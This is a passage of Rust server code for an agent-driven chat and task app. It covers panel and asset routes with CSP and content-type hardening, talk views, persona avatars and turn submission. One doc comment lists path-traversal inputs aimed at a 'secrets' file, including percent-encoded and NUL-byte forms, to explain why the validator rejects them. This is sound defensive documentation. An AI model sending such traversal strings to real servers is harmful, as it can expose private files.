8157            }
8158            drop(reclaimed);
8159        }
8160        #[cfg(test)]
8161        let _ = submitted;
8162        #[cfg(test)]
8163        if let Some((talk, cfg, turn_guard)) = reclaimed {
8164            let talks = ui.talks.clone();
8165            let id = talk.id.clone();
8166            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
8167        }
8168        Ok((StatusCode::ACCEPTED, Json(view)))
8169    })
8170    .await
8171}
8172
8173/// Expand an id or short id to exactly one question id.
8174fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
8175    if plain_record_id(id) && store.path_of(id).is_file() {
8176        return Ok(id.to_owned());
8177    }
8178    pick(
8179        store.list().into_iter().map(|q| q.id).collect(),
8180        id,
8181        "question",
8182    )
8183}
8184
8185/// `GET /api/questions/{id}/panel`.
8186///
8187/// The panel an agent wrote for this question, as `text/html` under
8188/// [`PANEL_CSP`], for the front end to mount in a sandboxed iframe.
8189/// A question without one is a 404 rather than an empty page: the client
8190/// preflights this route with `HEAD` and must be able to tell "no panel" from
8191/// "a panel that rendered blank", and a sandboxed frame is opaque to the
8192/// parent document so it cannot tell the difference by looking.
8193///
8194/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
8195/// sanitises or minifies it - a sanitiser is a list of things someone thought
8196/// of, and the sandbox plus the CSP is a list of things that are allowed, which
8197/// is the direction that stays safe when an agent writes markup nobody
8198/// predicted.
8199async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
8200    blocking(move || {
8201        let id = resolve_question(&ui.questions, &id)?;
8202        let Some(html) = ui.questions.panel_html(&id) else {
8203            return Err(ApiError::not_found(format!("question {id} has no panel")));
8204        };
8205        Ok(panel_response(
8206            "text/html; charset=utf-8",
8207            false,
8208            html.into_bytes(),
8209        ))
8210    })
8211    .await
8212}
8213
8214/// `GET /api/questions/{id}/asset/{name}`.
8215///
8216/// One file from the question's own panel directory, so a panel can show a
8217/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
8218/// having to allow anything off this machine.
8219///
8220/// This is the only route in the server where a client names a file, so it is
8221/// the only one with a traversal surface, and the name is checked by
8222/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
8223/// what is worth being explicit about, because the answer is not "all of it in
8224/// one place":
8225///
8226/// * `asset/../../secrets` never reaches this handler at all. axum matches on
8227///   the raw request path and `{name}` spans exactly one segment, so a real
8228///   slash makes the request too long for the route and the router answers 404.
8229/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
8230///   percent-decodes path parameters, so `name` arrives as `../secrets` and
8231///   `..\secrets` respectively, which look like plain filenames to the router.
8232///   The validator refuses them here - both for the literal `..` and because
8233///   `/` and `\` are not in the permitted character set - and answers 400.
8234/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
8235///   the platform's path API is not, and it is refused here for the same
8236///   reason: NUL is not a permitted character.
8237/// * [`Questions::panel_asset`] validates again on read, so the check is not
8238///   load-bearing in only one place. This route's own check exists so the
8239///   failure is a 400 that says which name was wrong, rather than a store error
8240///   the operator has to interpret.
8241async fn question_asset(
8242    State(ui): State<Arc<Ui>>,
8243    Path((id, name)): Path<(String, String)>,
8244) -> ApiResult<Response> {
8245    // Before any filesystem work and before any path is built: a name this
8246    // server will not serve should not become a `PathBuf` at all.
8247    if !crate::ask::valid_asset_name(&name) {
8248        return Err(ApiError::bad_request(format!(
8249            "`{name}` is not a usable asset name"
8250        )));
8251    }
8252    blocking(move || {
8253        let id = resolve_question(&ui.questions, &id)?;
8254        let asset = ui
8255            .questions
8256            .panel_asset(&id, &name)
8257            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
8258        let Some(bytes) = asset else {
8259            return Err(ApiError::not_found(format!(
8260                "question {id} has no asset `{name}`"
8261            )));
8262        };
8263        Ok(panel_response(
8264            asset_content_type(&name),
8265            is_svg(&name),
8266            bytes,
8267        ))
8268    })
8269    .await
8270}
8271
8272/// Content type for a panel asset, from a closed whitelist.
8273///
8274/// A whitelist with an `application/octet-stream` fallback rather than a
8275/// guess, because the one answer that must never come out of here is
8276/// `text/html`. An agent that writes `notes.html` into its panel directory and
8277/// links it would otherwise get its own markup rendered at the top level of the
8278/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
8279/// magi's origin - which is precisely the thing the panel design exists to
8280/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
8281///
8282/// `nosniff` accompanies this on every response, so a browser cannot decide it
8283/// knows better than the type we sent.
8284fn asset_content_type(name: &str) -> &'static str {
8285    match extension(name).as_deref() {
8286        Some("png") => "image/png",
8287        Some("jpg" | "jpeg") => "image/jpeg",
8288        Some("gif") => "image/gif",
8289        Some("webp") => "image/webp",
8290        Some("svg") => "image/svg+xml",
8291        Some("css") => "text/css; charset=utf-8",
8292        Some("txt") => "text/plain; charset=utf-8",
8293        _ => "application/octet-stream",
8294    }
8295}
8296
8297/// Is this an SVG, and therefore a file that must never be opened at the top
8298/// level?
8299fn is_svg(name: &str) -> bool {
8300    extension(name).as_deref() == Some("svg")
8301}
8302
8303/// Lowercased extension, or `None` for a name without one.
8304fn extension(name: &str) -> Option<String> {
8305    name.rsplit_once('.')
8306        .map(|(_, ext)| ext.to_ascii_lowercase())
8307}
8308
8309/// Every panel response, with the four headers that make it safe and, for an
8310/// SVG, a fifth.
8311///
8312/// One function rather than a header list per handler, because a panel route
8313/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
8314/// model gone, silently, on one of two routes. Adding a third panel route later
8315/// means calling this, and there is nowhere else to build a panel response.
8316///
8317/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
8318/// as an `<img src>` inside the panel that script cannot run - but the asset
8319/// URL is also a plain URL an operator can be talked into opening in a tab,
8320/// where it is a document on magi's own origin. `Content-Disposition:
8321/// attachment` makes the browser download it instead of rendering it, which
8322/// closes that door without taking away the ability to draw a diff. Raster
8323/// images have no such execution surface and are left inline, so tapping a
8324/// screenshot still shows it.
8325fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
8326    let mut res = (
8327        [
8328            (header::CONTENT_TYPE, content_type),
8329            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
8330            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8331            (header::REFERRER_POLICY, "no-referrer"),
8332        ],
8333        body,
8334    )
8335        .into_response();
8336    if download {
8337        res.headers_mut().insert(
8338            header::CONTENT_DISPOSITION,
8339            HeaderValue::from_static("attachment"),
8340        );
8341    }
8342    res
8343}
8344
8345/// A talk as the phone reads it.
8346///
8347/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
8348/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
8349/// parses markdown itself - and the process-local `thinking` hint.
8350#[derive(Debug, Serialize)]
8351struct ChatApproval {
8352    question: String,
8353    target: crate::merge_decision::Target,
8354}
8355
8356#[derive(Debug, Serialize)]
8357struct TalkView {
8358    #[serde(flatten)]
8359    talk: Talk,
8360    turn_bodies_md: Vec<Vec<md::Node>>,
8361    /// Display-only Markdown, indexed by turn then message (legacy turns have one).
8362    turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
8363    pending_messages_md: Vec<Option<Vec<md::Node>>>,
8364    merge_approvals: Vec<ChatApproval>,
8365    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
8366    /// this server process.
8367    ///
8368    /// This is deliberately not durable: another server process cannot see
8369    /// it, and a restarted server must not claim an old turn is live. It is a
8370    /// progress hint rather than proof a reply landed; the transcript remains
8371    /// the source of truth for that.
8372    thinking: bool,
8373    /// Context-window usage, derived per request - see
8374    /// [`talk::context_usage`]. Carried on every talk response (list, detail
8375    /// and each mutation) so the phone needs no extra call or polling.
8376    context: talk::ContextUsage,
8377    /// `[talk] operator_name`, when configured; the Chat labels the
8378    /// operator's turns with it.
8379    operator_name: Option<String>,
8380    /// The active persona's display name; `None` for the default voice.
8381    persona_name: Option<String>,
8382    /// URL of the avatar for the conversation's persona (the default voice
8383    /// included). Server-built; a configured `icon` never reaches the client.
8384    persona_avatar: String,
8385    /// Operator avatar; display only and independent of repository config.
8386    operator_avatar: String,
8387    magi_avatar: String,
8388}
8389
8390impl TalkView {
8391    /// Reads the talk's repository config itself; a config that cannot be
8392    /// read leaves the window unknown but never fails the conversation.
8393    fn new(talk: Talk, thinking: bool, ui: &Ui) -> Self {
8394        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8395        Self::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references)
8396    }
8397
8398    /// As [`Self::new`], with the config already in hand (the list reads one
8399    /// per repository, not one per conversation).
8400    fn with_config(
8401        talk: Talk,
8402        thinking: bool,
8403        cfg: Option<&Config>,
8404        home: &FsPath,
8405        cache: &id_links::IndexCache,
8406    ) -> Self {
8407        let references = cache.for_talk(home, &talk);
8408        Self::with_references(talk, thinking, cfg, home, &references)
8409    }
8410
8411    fn with_references(
8412        mut talk: Talk,
8413        thinking: bool,
8414        cfg: Option<&Config>,
8415        home: &FsPath,
8416        references: &id_links::IdIndex,
8417    ) -> Self {
8418        // This owned value is the display DTO; never write it back to the talk store.
8419        let snapshot = talk.clone();
8420        for (index, turn) in talk.turns.iter_mut().enumerate() {
8421            let original = &snapshot.turns[index];
8422            if turn.messages.is_empty() {
8423                if let Some(display) = talk::notice_display(&snapshot, original, None) {
8424                    turn.messages.push(talk::Message {
8425                        sender: Some(talk::Sender::Magi),
8426                        body: original.body.clone(),
8427                        display: Some(display),
8428                        attachments: original.attachments.clone(),
8429                        reply: None,
8430                    });
8431                }
8432            } else {
8433                for (i, message) in turn.messages.iter_mut().enumerate() {
8434                    message.display =
8435                        talk::notice_display(&snapshot, original, original.messages.get(i));
8436                    if message.display.is_some() {
8437                        message.sender = Some(talk::Sender::Magi);
8438                    }
8439                }
8440            }
8441        }
8442        for message in &mut talk.pending_messages {
8443            if message.display.is_none()
8444                && (message.sender == Some(talk::Sender::Magi)
8445                    || snapshot
8446                        .completion_notices
8447                        .iter()
8448                        .any(|r| r.notice == message.body))
8449            {
8450                message.display = crate::prompt::legacy_notice_display(&message.body);
8451                if message.display.is_some() {
8452                    message.sender = Some(talk::Sender::Magi);
8453                }
8454            }
8455        }
8456        if talk.pending_messages.is_empty()
8457            && snapshot
8458                .completion_notices
8459                .iter()
8460                .any(|r| r.notice == talk.pending)
8461            && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
8462        {
8463            talk.pending_messages.push(talk::Message {
8464                sender: Some(talk::Sender::Magi),
8465                display: Some(display),
8466                body: talk.pending.clone(),
8467                attachments: talk.pending_attachments.clone(),
8468                reply: None,
8469            });
8470        }
8471        let excerpts: Vec<Vec<Option<String>>> = talk
8472            .turns
8473            .iter()
8474            .map(|turn| {
8475                turn.messages
8476                    .iter()
8477                    .map(|m| {
8478                        m.display
8479                            .as_ref()
8480                            .map(|d| d.facts.chars().take(240).collect())
8481                    })
8482                    .collect()
8483            })
8484            .collect();
8485        for turn in &mut talk.turns {
8486            let provenance = talk::sender(turn, None);
8487            turn.sender = Some(provenance);
8488            for message in &mut turn.messages {
8489                message.sender = Some(message.sender.unwrap_or(provenance));
8490            }
8491        }
8492        // Old reply snapshots have only a role; recover provenance from their target.
8493        let senders: Vec<Vec<talk::Sender>> = talk
8494            .turns
8495            .iter()
8496            .map(|turn| {
8497                if turn.messages.is_empty() {
8498                    vec![talk::sender(turn, None)]
8499                } else {
8500                    turn.messages
8501                        .iter()
8502                        .map(|m| talk::sender(turn, Some(m)))
8503                        .collect()
8504                }
8505            })
8506            .collect();
8507        for reply in talk
8508            .turns
8509            .iter_mut()
8510            .flat_map(|t| t.messages.iter_mut())
8511            .chain(talk.pending_messages.iter_mut())
8512            .filter_map(|m| m.reply.as_mut())
8513        {
8514            if let Some(Some(excerpt)) = excerpts
8515                .get(reply.target.turn)
8516                .and_then(|ms| ms.get(reply.target.message))
8517            {
8518                reply.excerpt = excerpt.clone();
8519                reply.sender = Some(talk::Sender::Magi);
8520            }
8521            if reply.sender.is_none() {
8522                reply.sender = senders
8523                    .get(reply.target.turn)
8524                    .and_then(|messages| messages.get(reply.target.message))
8525                    .copied();
8526            }
8527        }
8528        let context = talk::context_usage(&talk, cfg);
8529        let mut turn_bodies_md: Vec<Vec<md::Node>> = talk
8530            .turns
8531            .iter()
8532            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
8533            .collect();
8534        let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
8535            .turns
8536            .iter()
8537            .map(|turn| {
8538                if turn.messages.is_empty() {
8539                    vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
8540                } else {
8541                    turn.messages
8542                        .iter()
8543                        .map(|message| {
8544                            notice_markdown(
8545                                message.sender.unwrap_or(talk::Sender::Operator),
8546                                &message.body,
8547                                message.display.as_ref(),
8548                            )
8549                        })
8550                        .collect()
8551                }
8552            })
8553            .collect();
8554        let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
8555            .pending_messages
8556            .iter()
8557            .map(|message| {
8558                notice_markdown(
8559                    message.sender.unwrap_or(talk::Sender::Operator),
8560                    &message.body,
8561                    message.display.as_ref(),
8562                )
8563            })
8564            .collect();
8565        for nodes in &mut turn_bodies_md {
8566            references.markdown(nodes);
8567        }
8568        for nodes in turn_messages_md
8569            .iter_mut()
8570            .flatten()
8571            .chain(pending_messages_md.iter_mut())
8572            .flatten()
8573        {
8574            references.markdown(nodes);
8575        }
8576        let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
8577        let persona_name = persona::find(specs, &talk.persona)
8578            .filter(|p| !p.is_default())
8579            .map(|p| p.name);
8580        let mut avatar_persona = persona::find(specs, &talk.persona)
8581            .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
8582        // A removed configured persona may still have an override and old talks.
8583        if avatar_persona.id != talk.persona
8584            && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
8585        {
8586            avatar_persona.id.clone_from(&talk.persona);
8587            avatar_persona.icon = None;
8588        }
8589        let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
8590        let approvals_store = ask::Questions::at(home.join("questions"));
8591        let merge_approvals = talk
8592            .notified
8593            .iter()
8594            .filter_map(|key| key.strip_prefix("question:"))
8595            .filter_map(|id| approvals_store.get(id).ok())
8596            .filter(|q| crate::task_chat::approval_offered(&talk, q))
8597            .filter_map(|q| {
8598                Some(ChatApproval {
8599                    question: q.id,
8600                    target: q.merge_target?,
8601                })
8602            })
8603            .collect();
8604        let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
8605        Self {
8606            turn_bodies_md,
8607            turn_messages_md,
8608            pending_messages_md,
8609            merge_approvals,
8610            thinking,
8611            context,
8612            operator_name,
8613            persona_name,
8614            persona_avatar,
8615            magi_avatar: magi_icon_url(home),
8616            operator_avatar: operator_icon_url(home),
8617            talk,
8618        }
8619    }
8620}
8621
8622/// Parse only the user-facing representation of an explicitly identified MAGI send.
8623fn notice_markdown(
8624    sender: talk::Sender,
8625    body: &str,
8626    display: Option<&crate::prompt::NoticeDisplay>,
8627) -> Option<Vec<md::Node>> {
8628    if sender != talk::Sender::Magi {
8629        return None;
8630    }
8631    let text = if let Some(display) = display {
8632        display.facts.as_str()
8633    } else {
8634        // Unknown completion templates may contain internal directives. Never
8635        // promote their agent input to the Markdown display surface.
8636        if crate::prompt::is_completion_notice(body)
8637            || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
8638        {
8639            return None;
8640        }
8641        body.strip_prefix("magi: ").unwrap_or(body)
8642    };
8643    Some(md::to_nodes(text, &md::ImageBase::None))
8644}
8645
8646/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
8647/// conversation has filed, so the phone can follow one from inside the
8648/// conversation that asked for it rather than hunting the Queue for a task id
8649/// it may not remember.
8650#[derive(Debug, Serialize)]
8651struct TalkDetailView {
8652    #[serde(flatten)]
8653    view: TalkView,
8654    tasks: Vec<TaskView>,
8655    task_progress: TalkTaskProgress,
8656    /// The agents this talk's repository can switch to; empty when its
8657    /// configuration cannot be read, which must not fail the whole detail.
8658    roster: Vec<RosterEntry>,
8659    /// The personas the conversation can pick from. The built-ins are always
8660    /// listed, even when the repository's configuration cannot be read.
8661    personas: Vec<PersonaEntry>,
8662}
8663
8664/// Progress covers only the tasks returned alongside it, not unresolved chat topics.
8665#[derive(Debug, Serialize)]
8666struct TalkTaskProgress {
8667    state: &'static str,
8668    total: usize,
8669    done: usize,
8670    counts: std::collections::BTreeMap<&'static str, usize>,
8671    unfinished_ids: Vec<String>,
8672}
8673
8674fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
8675    let mut counts = std::collections::BTreeMap::from([
8676        ("queued", 0),
8677        ("running", 0),
8678        ("done", 0),
8679        ("failed", 0),
8680        ("held", 0),
8681        ("blocked", 0),
8682        ("parked", 0),
8683    ]);
8684    let mut unfinished_ids = Vec::new();
8685    for task in tasks {
8686        *counts.entry(task.status.as_str()).or_default() += 1;
8687        if task.status != TaskStatus::Done {
8688            unfinished_ids.push(task.id.clone());
8689        }
8690    }
8691    TalkTaskProgress {
8692        state: if tasks.is_empty() {
8693            "none"
8694        } else if unfinished_ids.is_empty() {
8695            "complete"
8696        } else {
8697            "incomplete"
8698        },
8699        total: tasks.len(),
8700        done: tasks.len() - unfinished_ids.len(),
8701        counts,
8702        unfinished_ids,
8703    }
8704}
8705
8706/// One persona as the talk's persona selector shows it.
8707#[derive(Debug, Serialize)]
8708struct PersonaEntry {
8709    id: String,
8710    name: String,
8711    /// Avatar URL, see [`TalkView::persona_avatar`].
8712    avatar: String,
8713}
8714
8715/// One roster agent as the talk's agent selector shows it.
8716#[derive(Debug, Serialize)]
8717struct RosterEntry {
8718    id: String,
8719    kind: AgentKind,
8720    /// Whether its CLI is on `PATH`, i.e. whether choosing it can work.
8721    runnable: bool,
8722}
8723
8724/// Bounded summaries; `/page` carries a cursor for older membership.
8725async fn talks_list(
8726    State(ui): State<Arc<Ui>>,
8727    Query(q): Query<ListQuery>,
8728    headers: header::HeaderMap,
8729) -> ApiResult<Json<Vec<TalkListView>>> {
8730    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
8731        let limit = q.limit.unwrap_or(50).min(50);
8732        let ids = if let Some(ids) = q.ids {
8733            ids.split(',')
8734                .filter(|id| plain_record_id(id))
8735                .take(limit)
8736                .map(str::to_owned)
8737                .collect()
8738        } else {
8739            page_ids(&ui, true, PageQuery::default())?
8740                .0
8741                .into_iter()
8742                .take(limit)
8743                .collect()
8744        };
8745        Ok(Json(talk_rows(&ui, ids, &headers)))
8746    })
8747    .await
8748}
8749
8750/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
8751/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
8752/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
8753/// end still opens a talk against an older binary.
8754#[derive(Debug, Default, Deserialize)]
8755#[serde(default)]
8756struct NewTalk {
8757    agent: Option<String>,
8758    repo: Option<PathBuf>,
8759    /// Remembered choices from the browser. Soft: kept as raw JSON so a
8760    /// wrong type is dropped like a stale value instead of failing the request;
8761    /// each falls back to its default on its own (see [`talk::begin_with`]).
8762    preferred_agent: Option<serde_json::Value>,
8763    persona: Option<serde_json::Value>,
8764    implementers: Option<serde_json::Value>,
8765}
8766
8767/// `POST /api/talks` - open a conversation. Takes no agent turn: see
8768/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
8769async fn talk_post(
8770    State(ui): State<Arc<Ui>>,
8771    body: std::result::Result<Json<NewTalk>, JsonRejection>,
8772) -> ApiResult<impl IntoResponse> {
8773    // An absent body, or an empty one, is the normal way to open a talk - see
8774    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
8775    // rather than refused.
8776    let body = match body {
8777        Ok(Json(body)) => body,
8778        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
8779        Err(e) => return Err(ApiError::bad_request(e.body_text())),
8780    };
8781    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
8782    let cfg = config_for(&repo).await?;
8783    let view = blocking(move || {
8784        let preferred = talk::Preferred {
8785            agent: body
8786                .preferred_agent
8787                .as_ref()
8788                .and_then(|v| v.as_str())
8789                .map(str::to_owned),
8790            persona: body
8791                .persona
8792                .as_ref()
8793                .and_then(|v| v.as_str())
8794                .map(str::to_owned),
8795            implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
8796        };
8797        let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
8798        let thinking = ui.is_thinking(&talk.id);
8799        Ok(TalkView::new(talk, thinking, &ui))
8800    })
8801    .await?;
8802    Ok((StatusCode::CREATED, Json(view)))
8803}
8804
8805/// Transcript first: unrelated queue history and repository probes are deferred.
8806async fn talk_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TalkView>> {
8807    blocking(move || {
8808        let id = resolve_talk(&ui.talks, &id)?;
8809        let talk = ui.talks.get(&id)?;
8810        let thinking = ui.is_thinking(&id);
8811        // The browser already resolves Markdown text/code references after
8812        // rendering. A cold reference/review index must not gate the transcript.
8813        Ok(Json(TalkView::with_references(
8814            talk,
8815            thinking,
8816            None,
8817            &ui.home,
8818            &id_links::IdIndex::default(),
8819        )))
8820    })
8821    .await
8822}
8823
8824async fn talk_sections(
8825    State(ui): State<Arc<Ui>>,
8826    Path(id): Path<String>,
8827) -> ApiResult<Json<serde_json::Value>> {
8828    blocking(move || {
8829        let id = resolve_talk(&ui.talks, &id)?;
8830        let talk = ui.talks.get(&id)?;
8831        let tasks = ui.find_tasks_for_talk(&talk.id)?;
8832        let task_progress = talk_task_progress(&tasks);
8833        let tasks: Vec<_> = tasks
8834            .into_iter()
8835            .map(|task| {
8836                serde_json::json!({
8837                    "id": task.id, "title": task.title, "status_str": task.status.as_str(),
8838                })
8839            })
8840            .collect();
8841        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8842        let roster: Vec<_> = cfg
8843            .as_ref()
8844            .map(|cfg| {
8845                cfg.agents
8846                    .iter()
8847                    .map(|a| RosterEntry {
8848                        id: a.id.clone(),
8849                        kind: a.kind,
8850                        runnable: agent::installed(a),
8851                    })
8852                    .collect()
8853            })
8854            .unwrap_or_default();
8855        let specs = cfg
8856            .as_ref()
8857            .map(|cfg| cfg.talk.personas.clone())
8858            .unwrap_or_default();
8859        let personas: Vec<_> = persona::catalog(&specs)
8860            .into_iter()
8861            .map(|p| PersonaEntry {
8862                avatar: avatar_url(&ui.home, &talk.id, &p),
8863                id: p.id,
8864                name: p.name,
8865            })
8866            .collect();
8867        let active_persona = persona::find(&specs, &talk.persona)
8868            .unwrap_or_else(|| persona::find(&specs, persona::DEFAULT_ID).expect("default"));
8869        let persona_name = (!active_persona.is_default()).then(|| active_persona.name.clone());
8870        let persona_avatar = avatar_url(&ui.home, &talk.id, &active_persona);
8871        Ok(Json(serde_json::json!({
8872            "tasks": tasks, "task_progress": task_progress,
8873            "roster": roster, "personas": personas,
8874            "context": talk::context_usage(&talk, cfg.as_ref()),
8875            "context_for": talk.updated_at,
8876            "operator_name": cfg.as_ref().and_then(|cfg| cfg.talk.operator_name()),
8877            "persona_name": persona_name,
8878            "persona_avatar": persona_avatar,
8879        })))
8880    })
8881    .await
8882}
8883
8884/// `GET /api/talks/{id}`.
8885async fn talk_detail(
8886    State(ui): State<Arc<Ui>>,
8887    Path(id): Path<String>,
8888) -> ApiResult<Json<TalkDetailView>> {
8889    blocking(move || {
8890        let id = resolve_talk(&ui.talks, &id)?;
8891        let talk = ui.talks.get(&id)?;
8892        let thinking = ui.is_thinking(&talk.id);
8893        let tasks = ui.find_tasks_for_talk(&talk.id)?;
8894        let task_progress = talk_task_progress(&tasks);
8895        let tasks = tasks.into_iter().map(TaskView::from).collect();
8896        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8897        let roster = cfg
8898            .as_ref()
8899            .map(|cfg| {
8900                cfg.agents
8901                    .iter()
8902                    .map(|a| RosterEntry {
8903                        id: a.id.clone(),
8904                        kind: a.kind,
8905                        runnable: agent::installed(a),
8906                    })
8907                    .collect()
8908            })
8909            .unwrap_or_default();
8910        let specs = cfg
8911            .as_ref()
8912            .map(|cfg| cfg.talk.personas.clone())
8913            .unwrap_or_default();
8914        let personas = persona::catalog(&specs)
8915            .into_iter()
8916            .map(|p| PersonaEntry {
8917                avatar: avatar_url(&ui.home, &talk.id, &p),
8918                id: p.id,
8919                name: p.name,
8920            })
8921            .collect();
8922        Ok(Json(TalkDetailView {
8923            view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
8924            tasks,
8925            task_progress,
8926            roster,
8927            personas,
8928        }))
8929    })
8930    .await
8931}
8932
8933/// The body of `POST /api/talks/{id}/say`.
8934///
8935/// `attachments` names ids `POST /api/talks/{id}/attachments` already
8936/// returned - never bytes of its own - so a turn with no images just omits
8937/// the field, which is what an older front end still does.
8938#[derive(Debug, Default, Deserialize)]
8939#[serde(default, deny_unknown_fields)]
8940struct NewTalkTurn {
8941    reply_to: Option<talk::ReplyTarget>,
8942    text: String,
8943    attachments: Vec<String>,
8944}
8945
8946#[derive(Debug, Deserialize)]
8947#[serde(deny_unknown_fields)]
8948struct EditTalkPending {
8949    #[serde(default)]
8950    message: Option<usize>,
8951    text: String,
8952    expected_text: String,
8953    expected_attachments: Vec<String>,
8954}
8955
8956#[derive(Debug, Deserialize)]
8957#[serde(deny_unknown_fields)]
8958struct ClearTalkPending {
8959    expected_text: String,
8960    expected_attachments: Vec<String>,
8961}
8962
8963/// `POST /api/talks/{id}/say` - one turn of the conversation.
8964///
8965/// Not filesystem work, and therefore not routed through [`blocking`]: this
8966/// route spawns an agent CLI and a turn here can run for the whole of
8967/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
8968/// research turn is expected to run commands rather than answer from what it
8969/// already knows. Holding an HTTP connection open that long is not a thing
8970/// to ask a phone to do; the operator's message is recorded and answered for
8971/// immediately, and the reply lands in the background, discovered through
8972/// the change stream's `talks_rev` the same way every other update on this
8973/// surface is.
8974async fn talk_say(
8975    State(ui): State<Arc<Ui>>,
8976    Path(id): Path<String>,
8977    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
8978) -> ApiResult<(StatusCode, Json<TalkView>)> {
8979    let admission = ui.begin_admission()?;
8980    admitted(admission, async move {
8981    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8982    if body.text.trim().is_empty() && body.attachments.is_empty() {
8983        return Err(ApiError::bad_request("say something"));
8984    }
8985
8986    let id = {
8987        let ui = Arc::clone(&ui);
8988        let asked = id.clone();
8989        blocking(move || resolve_talk(&ui.talks, &asked)).await?
8990    };
8991    // A closed Talk never accepts a new immediate or queued turn. Check this
8992    // before claiming a slot so its ordinary domain refusal is a 409, not an
8993    // incidental failure from the later record/queue write.
8994    {
8995        let ui = Arc::clone(&ui);
8996        let id = id.clone();
8997        blocking(move || {
8998            let talk = ui.talks.get(&id)?;
8999            if !talk.status.open() {
9000                return Err(ApiError::conflict(format!(
9001                    "talk {} is {} and takes no more turns",
9002                    talk.short(),
9003                    talk.status.as_str()
9004                )));
9005            }
9006            Ok(())
9007        })
9008        .await?;
9009    }
9010
9011    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
9012    // actually stores, before anything is written - an unknown id is a 4xx
9013    // that names it rather than a turn (or a queued draft) silently missing
9014    // an image.
9015    let attachments = {
9016        let ui = Arc::clone(&ui);
9017        let id = id.clone();
9018        let ids = body.attachments.clone();
9019        blocking(move || {
9020            ids.into_iter()
9021                .map(|att_id| {
9022                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
9023                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
9024                    })
9025                })
9026                .collect::<ApiResult<Vec<talk::Attachment>>>()
9027        })
9028        .await?
9029    };
9030    let _publication = crate::consult::publication_guard(&ui.talks, &id)
9031        .await.map_err(ApiError::from)?;
9032
9033    // Pending recovery and a new immediate turn are decided under the same
9034    // claim lock. Without that one critical section, a second `/say` can see
9035    // the first request's claim as "busy" and append itself to the recovered
9036    // draft before the first request rejects it.
9037    let start = {
9038        let ui = Arc::clone(&ui);
9039        let id = id.clone();
9040        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
9041    };
9042    let turn_guard = match start {
9043        TalkTurnStart::Claimed(turn_guard) => turn_guard,
9044        TalkTurnStart::Pending => {
9045            return Err(ApiError::conflict(
9046                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
9047            ));
9048        }
9049        TalkTurnStart::Foreign => {
9050            return Err(ApiError::conflict(
9051                "a turn is already running in another process; try again when it has finished",
9052            ));
9053        }
9054        TalkTurnStart::Busy => {
9055            // A turn is already running: queue rather than refuse. See
9056            // `Ui::begin_talk_turn` and `talk::queue`.
9057            //
9058            // The queue write and the drain it may owe live inside the task
9059            // `tokio::spawn` hands to the runtime, for the same reason the
9060            // immediate path below puts `record` there: a dropped handler
9061            // future must not be able to land between a durable write and
9062            // the task that answers it. `blocking` runs its closure on
9063            // `spawn_blocking`, which finishes whether or not anyone is left
9064            // to receive its result - so a disconnect at the `.await` below
9065            // would otherwise leave the draft persisted and the reclaimed
9066            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
9067            // ever started and the queued text stranded until some later
9068            // `say` happened to pick it up. The caller's 202 travels back
9069            // over a `oneshot`, sent the moment the write lands.
9070            let (tx, rx) = tokio::sync::oneshot::channel();
